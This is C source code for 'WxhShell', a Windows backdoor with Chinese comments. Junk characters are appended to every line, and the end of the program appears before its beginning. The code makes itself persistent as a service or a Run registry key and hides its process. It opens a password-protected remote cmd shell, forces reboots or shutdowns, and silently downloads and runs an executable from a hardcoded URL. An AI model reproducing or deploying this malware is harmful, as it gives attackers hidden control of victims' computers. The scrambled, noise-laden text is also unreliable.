  case 'd': { 5va ;Ol4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =eG:Scoug?  
    if(Boot(SHUTDOWN)) el,n5O Z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eXMl3Lxf  
    else { C-ipxL"r  
    closesocket(wsh); HO;,Ya^l  
    ExitThread(0); }pv<<7}|  
    } k!m9 l1x  
    break; K|-RAjE  
    } [E/8E h<  
  // 获取shell z#sSLE.$Z  
  case 's': { P4~C0z  
    CmdShell(wsh); N9cUlrDO  
    closesocket(wsh); ^ v@& q  
    ExitThread(0); U+g<lgH1J  
    break; vjD||!g'  
  } on0>_-n)  
  // 退出 Y ptP_R:2p  
  case 'x': { sTO9>~sj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wGnFDkCNz  
    CloseIt(wsh); u/L\e.4  
    break; )UG<KcdI  
    } )rv<"  
  // 离开 84ma X'  
  case 'q': { k'+Mc%pg4E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]}dAm S/  
    closesocket(wsh); NeY,Of|  
    WSACleanup(); woR }=\K  
    exit(1); T13Jno  
    break; .R {P%r  
        } B!z5P" C(~  
  } }4"T# [n#  
  } F#Xzh Ds  
  |HB  
  // 提示信息 8Wyv!tL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I;Bcim;  
} OAtn.LU  
  } *|k/lI  
i fbO<  
  return; &(HIBF'O  
} q3R?8Mb  
kc70HrG  
// shell模块句柄 4f> s2I&pQ  
int CmdShell(SOCKET sock) %q 7gl;'  
{ n+uDg  
STARTUPINFO si; h^"OC$  
ZeroMemory(&si,sizeof(si)); ?BnjtefIe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3L(vZ2&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z8hAZ?r1`  
PROCESS_INFORMATION ProcessInfo; :HG5{zP  
char cmdline[]="cmd"; rui]_Fn]I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -dsE9)&8DX  
  return 0; ;?0r,0l2$  
} En/EQ\T@F  
/*5lO;!s{  
// 自身启动模式 ar| !iU  
int StartFromService(void) E`>u*D$un~  
{ 5A=FEg  
typedef struct ]pP [0 S  
{ yjxv D  
  DWORD ExitStatus; 96 !e:TU  
  DWORD PebBaseAddress; q%A.)1<'_  
  DWORD AffinityMask; lGtTZ cg  
  DWORD BasePriority; " )_-L8  
  ULONG UniqueProcessId; [boB4>.  
  ULONG InheritedFromUniqueProcessId; kI>PaZ`i)  
}   PROCESS_BASIC_INFORMATION; ThSB\  
YE\s<$  
PROCNTQSIP NtQueryInformationProcess; EAM2t|M G.  
YX:[],FP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kwa$5qZI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Lbi eS%  
B7!dp`rPp  
  HANDLE             hProcess; #y&O5    
  PROCESS_BASIC_INFORMATION pbi; L@HWm;aN  
n:wZL&ZV0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gt;59}  
  if(NULL == hInst ) return 0; 1ti4 ZM  
3A.T_mGCs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h\i>4^]X.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^w|apI~HSE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c/G]r|k  
Y^@Nvt$<K  
  if (!NtQueryInformationProcess) return 0; 1WW`%  
|SF5'\d'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =Wj{J.7mf]  
  if(!hProcess) return 0; "~&d= f0m  
kX^Y{73  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 78 W&  
0QxE6>xL=  
  CloseHandle(hProcess); =^LX,!2zp{  
>AT T<U=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yl[6b1  
if(hProcess==NULL) return 0; bM"crRG"  
ZeyA bo  
HMODULE hMod; %VD>S  
char procName[255]; !DUC#)F  
unsigned long cbNeeded; Hs~u&c  
NXw$PM|+R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g$jZpU  
E}WO?xxv74  
  CloseHandle(hProcess); $m-rn'Q  
h!L6NS_Q,  
if(strstr(procName,"services")) return 1; // 以服务启动 zU)Ib<$  
4D-4BxN*  
  return 0; // 注册表启动 }}'0r2S  
} ]FLi^}ct  
(NBq!;_2,x  
// 主模块 {b6$F[e   
int StartWxhshell(LPSTR lpCmdLine) ^1^mu c[  
{ T1Q c?5K^  
  SOCKET wsl; Tn7(A^h'  
BOOL val=TRUE; UoiXIf_Q  
  int port=0; 8#MiM . f  
  struct sockaddr_in door; i #%17}  
aA-gl9  
  if(wscfg.ws_autoins) Install(); Uj[E_4h  
|Vs?yW  
port=atoi(lpCmdLine); <8Zm}-U  
i!JVGs  
if(port<=0) port=wscfg.ws_port; CF:s@Z+  
|4@su"OA  
  WSADATA data; nBA0LIb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?{ 0MF  
{yPiBu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /=bg(?nX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CI )89`  
  door.sin_family = AF_INET; k7gm)}RKcu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QIMoe'p  
  door.sin_port = htons(port); Tl9;KE|  
dlx "L%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LZB=vc|3/  
closesocket(wsl); dk^Uf84.Gr  
return 1; C;6Nu W  
} W_E0+  
[0(+E2/:2  
  if(listen(wsl,2) == INVALID_SOCKET) { a\Ond#1p  
closesocket(wsl); d}.*hgk  
return 1; jxU z-U-  
} l?N|Gj;ZFZ  
  Wxhshell(wsl); 7jZ=+2  
  WSACleanup(); zNs8yMnFr  
s]"NqwIPK  
return 0; Z7X_U` Q  
wewYlm5@  
} VNmQ'EuV}2  
gJ8+HV  
// 以NT服务方式启动 !Cpy )D(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x@ZxV*T^  
{ kyFq  
DWORD   status = 0; (0=e ,1 n  
  DWORD   specificError = 0xfffffff; vncak  
/@<&{_sybp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'w8k*@cQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U '#Xwax  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <&+\X6w[  
  serviceStatus.dwWin32ExitCode     = 0; ,p,$(V  
  serviceStatus.dwServiceSpecificExitCode = 0; J\BTrN7  
  serviceStatus.dwCheckPoint       = 0; ;e>pu"#  
  serviceStatus.dwWaitHint       = 0; o-))R| ~z  
8 pQx6QE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \C )S3!h  
  if (hServiceStatusHandle==0) return; .FarKW  
l1&NU'WW  
status = GetLastError(); ;w/|5 ;{A;  
  if (status!=NO_ERROR) NT^m.o~4  
{ LB1AjNJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YQ&Ww|xe  
    serviceStatus.dwCheckPoint       = 0; 5p.vo"7  
    serviceStatus.dwWaitHint       = 0; KZ"&c~[  
    serviceStatus.dwWin32ExitCode     = status; <QUjhWxDb  
    serviceStatus.dwServiceSpecificExitCode = specificError; +ti_?gfx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F.s*^}L[  
    return; O]>FNsh!  
  } Qd %U(|  
,co~@a@9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }-ly'4=l  
  serviceStatus.dwCheckPoint       = 0; m M> L0  
  serviceStatus.dwWaitHint       = 0; xH\#:DLY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +ld]P}  
} m+t<<5I[-  
7wivu*0  
// 处理NT服务事件,比如:启动、停止 xp!M A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m zh8<w?ns  
{ Z?Cl5o&l b  
switch(fdwControl) *Vbf ;=Mb  
{ VO (KQx  
case SERVICE_CONTROL_STOP: }=dUASL  
  serviceStatus.dwWin32ExitCode = 0; &%@b;)]J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _M;n.?H  
  serviceStatus.dwCheckPoint   = 0; 4@iMGYR9!s  
  serviceStatus.dwWaitHint     = 0; =N62 ){{  
  { 9vQI ~rz?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ ]ew<j  
  } y@#JzfY?Hr  
  return; %j.B/U$  
case SERVICE_CONTROL_PAUSE: #%~PNki  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (R.l{(A  
  break; o =oXL2}  
case SERVICE_CONTROL_CONTINUE: S,ENbP%0r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |XDbf3^6  
  break; E%[2NsOM]  
case SERVICE_CONTROL_INTERROGATE: X]Aobtz  
  break; N)kZ2|oD  
}; u<VR;p:y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0tL#-47  
} 9BZyCz  
FO"sE`  
// 标准应用程序主函数 Qj1q x;S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jv,*rQH  
{ ^\ N@qL  
#~_ZG% u  
// 获取操作系统版本 |61W-9;  
OsIsNt=GetOsVer(); 5f~49(v]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pR3@loFQ`o  
>@Nn_d  
  // 从命令行安装 m-< "`:+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'n>v}__&|  
sjZ@}Vk3b  
  // 下载执行文件 gB3Tz(!  
if(wscfg.ws_downexe) { 4Y2!q$}I+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8|z@"b l)  
  WinExec(wscfg.ws_filenam,SW_HIDE); lU`}  
} U#qs^f7R  
TrYt(F{t  
if(!OsIsNt) { 0r=KY@D  
// 如果时win9x,隐藏进程并且设置为注册表启动 'lsG?  
HideProc(); !OCb^y  
StartWxhshell(lpCmdLine); sp-){k  
} lpy( un  
else > [%ITqA$  
  if(StartFromService()) T{USzMj  
  // 以服务方式启动 R_vF$X'Ow  
  StartServiceCtrlDispatcher(DispatchTable); \y7kb  
else ;kX:k~,]}>  
  // 普通方式启动 %Kk MWl&:  
  StartWxhshell(lpCmdLine); LX!MDZz  
QY^v*+lr\  
return 0; >" &&,~  
} mRECd Gst  
6EX_IDb  
;8~tt I  
< Z>p1S  
=========================================== nNEIwlj;  
yUyx&Y/  
WZ A8D0[  
!wU~;sL8C3  
\#hp,XV>  
[ r<0[  
" C$<['D?8  
1MPn{#Ff  
#include <stdio.h> J"$Y`;  
#include <string.h> Z ? F*Z0y  
#include <windows.h> (6Y.|u]bq  
#include <winsock2.h> 2Hp<(  
#include <winsvc.h> A.v'ws+VDP  
#include <urlmon.h> <hv {,1p-r  
aANzL  
#pragma comment (lib, "Ws2_32.lib") !&f>,?wlP  
#pragma comment (lib, "urlmon.lib") (2l?~CaK  
@hG]Gs[,o  
#define MAX_USER   100 // 最大客户端连接数 OsGKlWM/  
#define BUF_SOCK   200 // sock buffer dfa^5`_  
#define KEY_BUFF   255 // 输入 buffer C)RJjaOr  
 ds#om2)  
#define REBOOT     0   // 重启 9i?Q=Vuc~<  
#define SHUTDOWN   1   // 关机 U9/>}Ni%3G  
D-S"?aO-  
#define DEF_PORT   5000 // 监听端口 *}Cm/li/w  
!</Snsi  
#define REG_LEN     16   // 注册表键长度 Q+ogVvMq>  
#define SVC_LEN     80   // NT服务名长度 n a3st*3V_  
u&Lp  
// 从dll定义API 1UwpLd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =iFI@2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8wX|hK!Gz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  (%\tE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N+#lS7  
YM`I&!n  
// wxhshell配置信息 5i eF8F%  
struct WSCFG { OngUZMgdb  
  int ws_port;         // 监听端口 ^rX5C2}G\D  
  char ws_passstr[REG_LEN]; // 口令 }TDoQ]P  
  int ws_autoins;       // 安装标记, 1=yes 0=no C}D\^(nLu.  
  char ws_regname[REG_LEN]; // 注册表键名 B']}n`g  
  char ws_svcname[REG_LEN]; // 服务名 "Ei' FM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BM+>.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {I9<W'k{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i\yp(tE%^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _KSlIgQ }0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g4U`Qf3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bPL.8hX   
U~l.%mui  
}; b&_u+g  
-nL!#R{e  
// default Wxhshell configuration X[;-SXq  
struct WSCFG wscfg={DEF_PORT, d+iV19#i  
    "xuhuanlingzhe", +)06*"I  
    1, ./r#\X)dc  
    "Wxhshell", c) q'" r  
    "Wxhshell", '#ow 9w+^  
            "WxhShell Service", -n#fj;.2_  
    "Wrsky Windows CmdShell Service", 1<n'F H3  
    "Please Input Your Password: ", j3$\+<m]  
  1, Ae3=o8p  
  "http://www.wrsky.com/wxhshell.exe", 8n~ o="  
  "Wxhshell.exe" G{!adBna  
    }; #BOLq`9 f  
.{t]Mc  
// 消息定义模块 |-zefzD|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {@*l,[,5-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tg#d.(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y3M"a8e'  
char *msg_ws_ext="\n\rExit."; "( NJ{J#A  
char *msg_ws_end="\n\rQuit."; <)4>"SN&^  
char *msg_ws_boot="\n\rReboot..."; mgL{t"$c  
char *msg_ws_poff="\n\rShutdown..."; D@iE2-n&V  
char *msg_ws_down="\n\rSave to "; (V:)`A_-  
+h?Rb3=S  
char *msg_ws_err="\n\rErr!"; 8;+dlWp  
char *msg_ws_ok="\n\rOK!"; _WB*ArR  
CWx_9b zk  
char ExeFile[MAX_PATH]; 0m>?-/uDx  
int nUser = 0; o7^u@*"F  
HANDLE handles[MAX_USER]; h5p,BRtu  
int OsIsNt; `ZELw=kLL  
nR#'BBlI  
SERVICE_STATUS       serviceStatus; f`Wces=5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YLkdT%  
9zac[t no  
// 函数声明 J=7<dEm&  
int Install(void); f J$>VN  
int Uninstall(void); =+>^:3cCQ  
int DownloadFile(char *sURL, SOCKET wsh); E7AYK&  
int Boot(int flag); -s,guW |  
void HideProc(void); &O;' ?/4 S  
int GetOsVer(void); %YV3-W8S0  
int Wxhshell(SOCKET wsl); m14OPZ<3?-  
void TalkWithClient(void *cs); -l i71.M  
int CmdShell(SOCKET sock); 3uJ>:,~r  
int StartFromService(void); =c Krp'  
int StartWxhshell(LPSTR lpCmdLine); 5lYzgt-oP  
biy[h3b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GGF;4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "Wz74ble  
 FtmI\,  
// 数据结构和表定义 H;kk:s'  
SERVICE_TABLE_ENTRY DispatchTable[] = { cMf_qQ  
{ r]yI5 ;  
{wscfg.ws_svcname, NTServiceMain}, YH-+s   
{NULL, NULL} FTT=h0t  
}; Y1s3 >`  
jQRl-[n  
// 自我安装 NoD\t(@h  
int Install(void) ;{S7bH'6m  
{ m[E#$JZtG  
  char svExeFile[MAX_PATH]; y_A7CG"^  
  HKEY key; NI)q<@ju  
  strcpy(svExeFile,ExeFile); ^/_1y[j  
.In8!hjYy4  
// 如果是win9x系统,修改注册表设为自启动 <h[l)-86  
if(!OsIsNt) { u(bPdf@kz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5l,Q=V^@l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NUb:5tL  
  RegCloseKey(key); +8eW/Bs@2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l.AG^b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i48Tb7Rx~n  
  RegCloseKey(key); ~ s# !\Ye  
  return 0; le.(KgRS4  
    } bc ;(2D  
  } >^(Q4eU7!  
} 3E`poE  
else { |C_sP,W  
Tj_~BT  
// 如果是NT以上系统,安装为系统服务 VSQxlAGk@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /'WVRa  
if (schSCManager!=0) &XH{,fv$  
{ S)~Riuy$  
  SC_HANDLE schService = CreateService l! 9G  
  ( ]xf|xs  
  schSCManager, ,.PW qfb  
  wscfg.ws_svcname, zm`^=cV  
  wscfg.ws_svcdisp, x"xtILrI  
  SERVICE_ALL_ACCESS, J2P5<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /m+q!yi &  
  SERVICE_AUTO_START, eq(Xzh  
  SERVICE_ERROR_NORMAL, =h/0k y  
  svExeFile, u>I;Cir4  
  NULL, @o6^"  
  NULL, 53jtwklA  
  NULL, o;<oXv  
  NULL, MF%>avRj  
  NULL wD'LX  
  ); SYZS@o  
  if (schService!=0) 6yRxb (  
  { W$_@9W(Bl  
  CloseServiceHandle(schService); Tx!c }  
  CloseServiceHandle(schSCManager); i[x;k;m2q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i~04P  
  strcat(svExeFile,wscfg.ws_svcname); ~e@pL*s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ls~F4ar$/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EPMdR66  
  RegCloseKey(key); oN/T>&d  
  return 0; 8E9W\@\  
    } a}]zwV&  
  } ]/C1pG*o  
  CloseServiceHandle(schSCManager); yg-uL48q  
} `fUem,$)1F  
} <D!\"C  
$xU5vCwAo  
return 1; KN"V(<!)~  
}  _8G  
v4V|j<R  
// 自我卸载 8LouCv(>  
int Uninstall(void) 5 LZ+~!2+  
{ '5vgpmn  
  HKEY key; 4lqowg0  
q>X%MN y  
if(!OsIsNt) { bWAVBF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u  teI[Q  
  RegDeleteValue(key,wscfg.ws_regname); (&x#VmDL  
  RegCloseKey(key); K[( h2&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &v#*  
  RegDeleteValue(key,wscfg.ws_regname); #[a+m  
  RegCloseKey(key); 8`/nk `;  
  return 0; (!^(74  
  } o]vU(j_Ju  
} B[R1XpB7  
} $A/$M\ :  
else { RW@sh9  
b1A8 -![  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c%+9uu3  
if (schSCManager!=0) fy`e)?46  
{ ,.ln  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y :0SrB!\  
  if (schService!=0) z7H[\4A!>  
  { b6k'`vLA  
  if(DeleteService(schService)!=0) { v!pT!(h4  
  CloseServiceHandle(schService); p^U:O&U(  
  CloseServiceHandle(schSCManager); 2@ <x%T  
  return 0; 8R6!SB  
  } JRC+>'}Xj  
  CloseServiceHandle(schService); }"'^.FG^_  
  } yn[^!GuJ_  
  CloseServiceHandle(schSCManager); 'b* yYX<  
} n>Rt9   
} x@I(G "  
U&D"fM8  
return 1; )&j4F)  
} 7O)U(<70  
[8VB"{{&  
// 从指定url下载文件 TuBl9 p'6  
int DownloadFile(char *sURL, SOCKET wsh) ]tVU$9D   
{ tCk;tu!d  
  HRESULT hr; ">G|\_ZF  
char seps[]= "/"; q,JMmhWaT  
char *token; Z5uetS^  
char *file; C#< :x!  
char myURL[MAX_PATH]; 'wd-!aZAd  
char myFILE[MAX_PATH]; SY` U]-h  
A(mU,^  
strcpy(myURL,sURL); "(hhb>V1Wl  
  token=strtok(myURL,seps); R^.oM1qu|  
  while(token!=NULL) =-`}(b2N  
  { *:q3<\y{  
    file=token; pN)9 GO5  
  token=strtok(NULL,seps); @eRR#S  
  } +oZq~2?*S6  
8} \Lt  
GetCurrentDirectory(MAX_PATH,myFILE); ?Mg&e/^  
strcat(myFILE, "\\"); @LS*WJ< w-  
strcat(myFILE, file); af61!?K  
  send(wsh,myFILE,strlen(myFILE),0); LFCcV<~  
send(wsh,"...",3,0);  #cqia0.H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gc 14%  
  if(hr==S_OK) S=>54!{`x  
return 0; S;[*5g6a&x  
else %&+j(?9  
return 1; &k /uR;yw  
XHgwK @GU  
} y#:_K(A" k  
krPwFp2[*  
// 系统电源模块 )QGj\2I  
int Boot(int flag) c|lo%[]R!  
{ ; /fZh:V2  
  HANDLE hToken; GNzk Vy:u  
  TOKEN_PRIVILEGES tkp; Fg)Iw<7_2  
M1^?_;B  
  if(OsIsNt) { 92F (Sl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WHQg6r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {$,e@nn  
    tkp.PrivilegeCount = 1; :A\8#]3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~a:0Q{>a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8. [TPiUn'  
if(flag==REBOOT) { !>g_9'n'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J#7\R':}zl  
  return 0; 'ao<gTUbu  
} \f6SA{vR|  
else { %vvA'WG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I @TR|  
  return 0; H3Y FbR  
} .eAN`-t;  
  } |1zoT|}q  
  else { `Ym7XF&  
if(flag==REBOOT) { epsh&)5a*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4=S.U`t7  
  return 0; .7Zb,r  
} %e2,p&0G  
else { F_o5(`>^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) { as#lHn  
  return 0; PG<tic<?  
} =B g  
} a9C8Q l  
=7@N'xX  
return 1; )-q#hY  
} v /{LC4BF  
oa(R,{_*q  
// win9x进程隐藏模块 =  *7K_M&  
void HideProc(void) zdFO&YHTw  
{ T u>5H`  
#T1py@b0zA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /EF0~iy  
  if ( hKernel != NULL ) {.=089`{  
  { p R=FH#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @:u>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e^)+bmh  
    FreeLibrary(hKernel); FES_:?.0  
  } r>4HF"Nm  
jnfktDV'  
return; Atc<xp  
} :ulOG{z  
H`#{zt);  
// 获取操作系统版本 p|!5G&O,  
int GetOsVer(void) U5N/'p%)<  
{ n qSjP5  
  OSVERSIONINFO winfo; ME"B1 Se\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n1+1/  
  GetVersionEx(&winfo); ?.t naE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ru#,pJ=O(  
  return 1; p4QQ5O$;  
  else qdkhfm2(K  
  return 0; .)L%ANf  
} \c1u$'|v  
5VD(fW[OW]  
// 客户端句柄模块 !n9H[QP^9  
int Wxhshell(SOCKET wsl) 04ZP\  
{ #-5.G>8  
  SOCKET wsh; W^{zlg  
  struct sockaddr_in client; !nh7<VJ  
  DWORD myID; )Il) H  
28,Hd!{  
  while(nUser<MAX_USER) VfWU-lJ  
{ /J''`Tf  
  int nSize=sizeof(client); LpCJfQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a"7zz]XO2  
  if(wsh==INVALID_SOCKET) return 1; ~6YTm6o  
kr ,&aP<,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rCt8Q&mzf  
if(handles[nUser]==0) i\~@2  
  closesocket(wsh); NWnUXR  
else ^3re*u4b=  
  nUser++; M)sM G C  
  } $*N^ bj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *AK{GfP_  
]fxYS m  
  return 0; !1G6ZC:z  
} L@9@3?  
@JB9qT  
// 关闭 socket HRQ3v`P.  
void CloseIt(SOCKET wsh) G8bc\]  
{ {}gx;v)  
closesocket(wsh); BwpEIV@b]  
nUser--;  zciL'9  
ExitThread(0); +H"[WZ5  
} #aHPB#  
EWz,K] _'  
// 客户端请求句柄 1eod;^AP9  
void TalkWithClient(void *cs) XT2:XWI8  
{ Fpe>|"&  
qPal'c0  
  SOCKET wsh=(SOCKET)cs; KHnq%#  
  char pwd[SVC_LEN]; tqo k.h  
  char cmd[KEY_BUFF]; f/"? (7F  
char chr[1]; }Pi}? 41!  
int i,j; M N-j$-y}  
Sq<ds}o'8l  
  while (nUser < MAX_USER) { w3hG\2)[HS  
dgbqMu"  
if(wscfg.ws_passstr) { -hy`Np  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %=w@c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o2'^MxKb T  
  //ZeroMemory(pwd,KEY_BUFF); {"rYlN7,  
      i=0; E4}MU}C#[  
  while(i<SVC_LEN) { E ^ub8  
q>X30g  
  // 设置超时 ;@5N  
  fd_set FdRead; dd?ZQ:n  
  struct timeval TimeOut; U5[,UrC  
  FD_ZERO(&FdRead); qoZUX3{  
  FD_SET(wsh,&FdRead); mFk6a{+YX  
  TimeOut.tv_sec=8; %imI.6   
  TimeOut.tv_usec=0; @m`1Vq?O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c]Z@L~WW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0:C^-zrx  
s?j||  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rlRRGJ\l  
  pwd=chr[0]; y [jck:  
  if(chr[0]==0xd || chr[0]==0xa) { "gIjU~'A  
  pwd=0; P<E!ix  
  break; n0 q$/Y.  
  } b^s>yN  
  i++; :Vnus @#r  
    } B5R/GV  
)@\Eibt2oH  
  // 如果是非法用户,关闭 socket |'+ [ '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ca>b X]  
} I d}@  
6+.8nx:9X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); paYvYK-K?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WHkrd8  
w~a_FGYX  
while(1) { iJaA&z5sr  
n/ m7+=]v  
  ZeroMemory(cmd,KEY_BUFF); 7eU|iDYo  
^630%YO  
      // 自动支持客户端 telnet标准   (?ofL|Cg(  
  j=0; e$Npo<u  
  while(j<KEY_BUFF) { vyhxS.[9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9{- Sa  
  cmd[j]=chr[0]; 6\5"36&/rQ  
  if(chr[0]==0xa || chr[0]==0xd) { KQu lz  
  cmd[j]=0; +Rq7m]  
  break; 5^0K5R6GQf  
  } }uo.N  
  j++; 3:B4;  
    } _/pdZM,V  
%YLyh?J  
  // 下载文件 u.!<)VIJx  
  if(strstr(cmd,"http://")) { x7!YA>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m&I5~kD  
  if(DownloadFile(cmd,wsh)) q% pjY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /4{.J=R}  
  else -;s-*$I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hcrx(oJ5  
  } HLYo+;j3|  
  else { P$hmDTn72  
o4d[LV4DS  
